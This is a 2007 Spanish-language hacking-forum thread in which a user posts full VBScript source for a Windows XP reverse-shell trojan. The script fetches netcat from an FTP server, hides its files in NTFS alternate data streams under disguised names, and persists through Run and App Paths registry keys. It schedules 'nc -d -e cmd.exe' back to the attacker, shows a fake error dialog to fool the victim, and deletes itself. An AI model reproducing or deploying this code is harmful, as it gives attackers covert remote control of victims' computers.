elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  Reverse shell en VBScript para WinXP
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Reverse shell en VBScript para WinXP  (Leído 4,818 veces)
the pitbull

Desconectado Desconectado

Mensajes: 11


Ver Perfil
Reverse shell en VBScript para WinXP
« en: 9 Octubre 2007, 02:36 am »

Aca les dejo una reverse shell para Windows XP que estuve codificando en VBScript.

Su funcionamiento esta basado en el netcat. Lo busca en el sistema, y en caso de no encontrarlo, lo descarga de un servidor ftp de internet.
Cabe destacar que solo funciona en sistema instalados en particiones NTFS, ya que hace uso de la tecnica de ocultamiento por streaming, disponible solamente en este tipo de sistemas de archivos.
Se agrega al registro para ejecutarse X minutos despues de que el usuario infectado inicia sesion, y funciona solamente con usuarios con privilegios de admin, ya que usa la utiludad at.exe la cual solo es accesible por este tipo de usuarios.


« Última modificación: 20 Octubre 2007, 04:40 am por l0athing » En línea

the pitbull

Desconectado Desconectado

Mensajes: 11


Ver Perfil
Re: Reverse shell en VBScript para WinXP
« Respuesta #1 en: 15 Octubre 2007, 02:56 am »

Código
  1. 'on error resume next
  2. '
  3. 'C:\>nc -ltp 25   'nos ponemos a la escucha
  4. 'listening on [any] 25 ...
  5. '
  6. 'Microsoft Windows XP [Versión 5.1.2600]  'nos llego la shell :)
  7. '(C) Copyright 1985-2001 Microsoft Corp.
  8. '
  9. 'C:\Documents and Settings\victim>
  10. '
  11. '#CONFIGURACION# -> obligatoria!
  12.  
  13. const host = "localhost" 'tu ip o nombre de dominio
  14. const port = "25" 'el puerto en el que escucharas
  15. const ftpServerRoute = "ftp.fu-berlin.de/doc/o-reilly/networksa/tools/nc.exe" 'ruta de descarga del nc.exe en un server ftp cualquiera
  16. const delay = 20  'tiempo de espera en minutos para la conexión
  17.  
  18.  
  19. '#FIN DE LA CONFIGURACION -> LISTO PARA USAR #
  20.  
  21. '######################################################################
  22. '##########      ARCHIVOS USADOS EN LA INFECCION       ################
  23. '######################################################################
  24.         set fso = createobject("scripting.filesystemobject")
  25. '######################################################################
  26.  
  27. const VBSregKey = "cmdslibr" 'nombre de la/s futura clave en ****Run y ***Ap
  28.  
  29. adsFile = fso.GetSpecialFolder(1) & "\sysl.dll" 'nombre del archivo contenedor
  30.    adsInst = adsFile & ":ins" 'el stream de un archivo de instrucciones ftp
  31.    adsVBS = adsFile & ":cmdslib.vbs" 'stream de un vbs que se ejecuta al inicio
  32.    adsFileContent = fso.GetSpecialFolder(1) & "\batt.dll" 'archivo del que vamos a copiar el codigo para meterlo al archivo ads
  33. adsNC = fso.GetSpecialFolder(1) & "\scvchost.exe" 'el netcat renombrado
  34. batchfile = fso.getspecialfolder(1) & "\sysfat.bat" 'archivo usado en la descarga ftp
  35.  
  36. '######################################################################
  37. '##########             EMPIEZA CODIGO PRINCIPAL       ################
  38. '######################################################################
  39.  
  40. 'obtengo a partir de la url completa la ruta de descarga y el domain name del servidor
  41. URL = replace(ftpServerRoute, left(ftpServerRoute, instr(ftpServerRoute, "/") - 1), "")
  42. sFTP = replace(ftpServerRoute, URL, "")
  43.  
  44.  
  45. if not infectado() then 'si no esta infectado... infectamos
  46.    if not fso.FileExists(adsFile) then  crearADS() 'donde ocultaremos todos los archivos
  47.        if not fso.FileExists(adsInst) then GuardarInstrucciones() 'instrucciones para una descarga ftp
  48.        if not fso.FileExists(adsNC) then GuardarNetcat() 'escondemos el netcat
  49.        if not fso.FileExists(adsVBS) then GuardarScript() 'el script que iniciaremos con windows
  50.    AgregarAlRegistro() 'agrega el script y el nc a varias subclaves
  51. end if
  52.  
  53. 'ejecuto con 'at' para que el nc se conecte despues de un cierto time
  54. createobject("wscript.shell").run "AT " & hour(now()) & ":" & (minute(now()) + delay) & " " & adsNC & " " & host & " " & port & " -d -e cmd.exe"
  55.  
  56. camuflar() 'serie de payasadas poco creibles para hacer pasar la infeccion desapercibida
  57.  
  58.  
  59.  
  60. '######################################################################
  61. '###########             SUBPROCEDIMIENTOS             ################
  62. '######################################################################
  63.  
  64. private sub AgregarAlRegistro()
  65.    'agregamos al registro al archivo *.bat para que haya conexión cada vez que se inicia la PC.
  66.        createobject("wscript.shell").regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & VBSregKey, VBSregKey & ".exe"
  67.    'creamos un path del programa para que sea mas dificil de encontrar
  68.        createobject("wscript.shell").regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" & VBSregKey & ".exe\", adsVBS
  69. end sub
  70.  
  71. private sub crearADS() 'creamos el archivo contenedor, en lo posible metiendole un contenido falso
  72.    if fso.FileExists(adsFileContent) then
  73.        fso.CopyFile adsFileContent, adsFile, true
  74.    else
  75.        fso.CreateTextFile adsFile
  76.    end if
  77. end sub
  78.  
  79. private sub GuardarScript() 'guardo por ads un script que se ejecutara al iniciar windows
  80.    set vbs = fso.CreateTextFile(adsVBS, true)
  81.        vbs.writeline("createobject(""wscript.shell"").run ""AT "" & hour(now()) & "":"" & (minute(now()) + " & delay & ") & "" "" & """ & adsNC & " " & host & " " & port & " -d -e cmd.exe""") '&& net stop SharedAccess """)
  82.        'vbs.writeline("createobject(""wscript.shell"").run (""AT "" & hour(now()) & "":"" & (minute(now()) + " & delay & ") & "" " & adsNC & " " & host & " " & port & " -d -e cmd.exe"")")
  83.        vbs.close()
  84. end sub
  85.  
  86. private sub GuardarNetcat() 'escondemos el netcat con los queridos alternate data streams
  87.    if fso.FileExists(fso.GetSpecialFolder(1) & "\nc.exe") then
  88.        fso.CopyFile fso.GetSpecialFolder(1) & "\nc.exe", adsNC, true
  89.    else 'se lo bajamos ;)
  90.        set ftp = fso.createtextfile(batchfile, True)
  91.    ftp.writeline("@echo off")        
  92.    ftp.writeline("title browselc config")
  93.    ftp.writeline("echo Presione una tecla para continuar . . . ")
  94.    ftp.writeline("ftp -s:" & adsInst & " " & sFTP & " > nul")
  95.    ftp.close
  96. createobject("wscript.shell").run batchfile
  97.    end if
  98. end sub
  99.  
  100. private sub GuardarInstrucciones()'metemos a un file por ads los comandos ftp, que luego se usaran
  101.     set ftp = fso.createtextfile(adsInst, True)
  102. ftp.writeline("anonymous")        
  103. ftp.writeline("noHayPassword")
  104. ftp.writeline("bin")
  105. ftp.writeline("get " & URL & " " & adsNC)
  106. ftp.writeline("quit")
  107.    ftp.close            
  108. end sub
  109.  
  110. private function infectado() 'funcion que chequea si estamos infectados
  111.    if fso.FileExists(adsFile) and _
  112.        fso.FileExists(adsInst) and _
  113.        fso.FileExists(adsNC) and _
  114.        fso.FileExists(adsVBS) then
  115.        infectado = true
  116.        exit function
  117.    else
  118.        infectado = false
  119.        exit function
  120.    end if
  121. end function
  122.  
  123. private sub cambiarAtributos(byref file) 'hacemos el archivo oculto, de sistema, y readonly
  124.     if (fso.FileExists(file) and (not fso.GetFile(file).attributes = 7)) then
  125.        set cFile = fso.GetFile(file)
  126.        cFile.attributes = 7
  127.     end if
  128. end sub
  129.  
  130.  
  131. private sub camuflar()
  132.    msgbox "Error de ejecucion: no se encuentra browselc.dll.", 16, "Error"
  133.  
  134.    min = dateadd("n", 1, now()) 'bucle para retardar la modificacion de archivos que actualmente estan cargados en memoria
  135.    Do while not (now() > min)'  and second(now()) = sec
  136.        cambiarAtributos(adsFile) 'cambio atributos de los files a:
  137.        cambiarAtributos(adsNC)   '  hidden/readonly/system
  138.        cambiarAtributos(adsVBS)
  139.        if fso.FileExists(batchfile) then fso.DeleteFile(batchfile) 'borramos el batchfile usado
  140.    loop
  141.  
  142.     'borramos el *.vbs, para evitar la lectura del script despues de la infección
  143.     fso.DeleteFile(wscript.scriptfullname)
  144.  
  145. end sub

Saludos, espero que a alguien le interese.


« Última modificación: 20 Octubre 2007, 04:40 am por l0athing » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
vbscript para comprobar conexiones
Scripting
nosoqui 0 4,509 Último mensaje 17 Marzo 2011, 15:06 pm
por nosoqui
Para que sirve REVERSE???
Hacking
shelbystreet 2 6,328 Último mensaje 11 Mayo 2011, 16:59 pm
por shelbystreet
[Ayuda] Metasploit winxp sp3 no consigo la shell
Hacking
krowa 5 4,758 Último mensaje 6 Noviembre 2013, 01:12 am
por aivx
Reverse Image Search para doxing.
Dudas Generales
[Arg] $triker; 3 3,776 Último mensaje 2 Febrero 2017, 11:21 am
por Randomize
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines